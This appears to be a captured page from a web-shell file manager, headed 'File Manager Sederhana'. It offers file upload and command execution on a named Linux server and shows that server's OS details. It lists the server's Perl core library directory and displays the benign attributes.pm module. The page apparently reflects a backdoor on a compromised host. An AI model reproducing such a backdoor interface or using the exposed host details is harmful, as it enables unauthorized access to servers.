File Manager Sederhana

Sistem OS:Linux server1.famouzz.com 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64

Sistem Software:nginx/1.18.0

Upload File

Jalankan Perintah

Nama	Ukuran	Izin	Aksi
Carp	-	0755	-
Exporter	-	0755	-
File	-	0755	-
Getopt	-	0755	-
Hash	-	0755	-
IO	-	0755	-
IPC	-	0755	-
List	-	0755	-
Scalar	-	0755	-
Text	-	0755	-
Tie	-	0755	-
auto	-	0755	-
unicore	-	0755	-
warnings	-	0755	-
AutoLoader.pm	5.36 KB	0644	Edit Rename Delete
Carp.pm	24.79 KB	0644	Edit Rename Delete
Config.pm	3.2 KB	0644	Edit Rename Delete
Config_git.pl	409 B	0644	Edit Rename Delete
Config_heavy.pl	52.96 KB	0644	Edit Rename Delete
Cwd.pm	17.24 KB	0644	Edit Rename Delete
DynaLoader.pm	10.18 KB	0644	Edit Rename Delete
Errno.pm	4.82 KB	0644	Edit Rename Delete
Exporter.pm	2.31 KB	0644	Edit Rename Delete
Fcntl.pm	2.11 KB	0644	Edit Rename Delete
FileHandle.pm	2.06 KB	0644	Edit Rename Delete
IO.pm	469 B	0644	Edit Rename Delete
POSIX.pm	19.87 KB	0644	Edit Rename Delete
SelectSaver.pm	344 B	0644	Edit Rename Delete
Socket.pm	13.54 KB	0644	Edit Rename Delete
Symbol.pm	2.05 KB	0644	Edit Rename Delete
XSLoader.pm	3.87 KB	0644	Edit Rename Delete
attributes.pm	3 KB	0644	Edit Rename Delete
base.pm	8.7 KB	0644	Edit Rename Delete
bytes.pm	447 B	0644	Edit Rename Delete
bytes_heavy.pl	758 B	0644	Edit Rename Delete
constant.pm	5.6 KB	0644	Edit Rename Delete
feature.pm	4.7 KB	0644	Edit Rename Delete
fields.pm	4.89 KB	0644	Edit Rename Delete
integer.pm	172 B	0644	Edit Rename Delete
lib.pm	2.23 KB	0644	Edit Rename Delete
locale.pm	3.34 KB	0644	Edit Rename Delete
overload.pm	4.34 KB	0644	Edit Rename Delete
overloading.pm	964 B	0644	Edit Rename Delete
parent.pm	460 B	0644	Edit Rename Delete
re.pm	8.5 KB	0644	Edit Rename Delete
strict.pm	1.57 KB	0644	Edit Rename Delete
utf8.pm	313 B	0644	Edit Rename Delete
utf8_heavy.pl	26.66 KB	0644	Edit Rename Delete
vars.pm	1.12 KB	0644	Edit Rename Delete
warnings.pm	25.33 KB	0644	Edit Rename Delete

Edit File:attributes.pm

package attributes;

our $VERSION = 0.33;

@EXPORT_OK = qw(get reftype);
@EXPORT = ();
%EXPORT_TAGS = (ALL => [@EXPORT, @EXPORT_OK]);

use strict;

sub croak {
    require Carp;
    goto &Carp::croak;
}

sub carp {
    require Carp;
    goto &Carp::carp;
}

# Hash of SV type (CODE, SCALAR, etc.) to regex matching deprecated
# attributes for that type.
my %deprecated;

my %msg = (
    lvalue => 'lvalue attribute applied to already-defined subroutine',
   -lvalue => 'lvalue attribute removed from already-defined subroutine',
    const  => 'Useless use of attribute "const"',
);

sub _modify_attrs_and_deprecate {
    my $svtype = shift;
    # After we've removed a deprecated attribute from the XS code, we need to
    # remove it here, else it ends up in @badattrs. (If we do the deprecation in
    # XS, we can't control the warning based on *our* caller's lexical settings,
    # and the warned line is in this package)
    grep {
	$deprecated{$svtype} && /$deprecated{$svtype}/ ? do {
	    require warnings;
	    warnings::warnif('deprecated', "Attribute \"$1\" is deprecated, " .
                                           "and will disappear in Perl 5.28");
	    0;
	} : $svtype eq 'CODE' && exists $msg{$_} ? do {
	    require warnings;
	    warnings::warnif(
		'misc',
		 $msg{$_}
	    );
	    0;
	} : 1
    } _modify_attrs(@_);
}

sub import {
    @_ > 2 && ref $_[2] or do {
	require Exporter;
	goto &Exporter::import;
    };
    my (undef,$home_stash,$svref,@attrs) = @_;

my $svtype = uc reftype($svref);
    my $pkgmeth;
    $pkgmeth = UNIVERSAL::can($home_stash, "MODIFY_${svtype}_ATTRIBUTES")
	if defined $home_stash && $home_stash ne '';
    my @badattrs;
    if ($pkgmeth) {
	my @pkgattrs = _modify_attrs_and_deprecate($svtype, $svref, @attrs);
	@badattrs = $pkgmeth->($home_stash, $svref, @pkgattrs);
	if (!@badattrs && @pkgattrs) {
            require warnings;
	    return unless warnings::enabled('reserved');
	    @pkgattrs = grep { m/\A[[:lower:]]+(?:\z|\()/ } @pkgattrs;
	    if (@pkgattrs) {
		for my $attr (@pkgattrs) {
		    $attr =~ s/\(.+\z//s;
		}
		my $s = ((@pkgattrs == 1) ? '' : 's');
		carp "$svtype package attribute$s " .
		    "may clash with future reserved word$s: " .
		    join(' : ' , @pkgattrs);
	    }
	}
    }
    else {
	@badattrs = _modify_attrs_and_deprecate($svtype, $svref, @attrs);
    }
    if (@badattrs) {
	croak "Invalid $svtype attribute" .
	    (( @badattrs == 1 ) ? '' : 's') .
	    ": " .
	    join(' : ', @badattrs);
    }
}

sub get ($) {
    @_ == 1  && ref $_[0] or
	croak 'Usage: '.__PACKAGE__.'::get $ref';
    my $svref = shift;
    my $svtype = uc reftype($svref);
    my $stash = _guess_stash($svref);
    $stash = caller unless defined $stash;
    my $pkgmeth;
    $pkgmeth = UNIVERSAL::can($stash, "FETCH_${svtype}_ATTRIBUTES")
	if defined $stash && $stash ne '';
    return $pkgmeth ?
		(_fetch_attrs($svref), $pkgmeth->($stash, $svref)) :
		(_fetch_attrs($svref))
	;
}

sub require_version { goto &UNIVERSAL::VERSION }

require XSLoader;
XSLoader::load();

1;
__END__
#The POD goes here

File Manager Sederhana

Upload File

Jalankan Perintah

current directory: / / snap / core20 / current / usr / lib / x86_64-linux-gnu / perl-base

Edit File:attributes.pm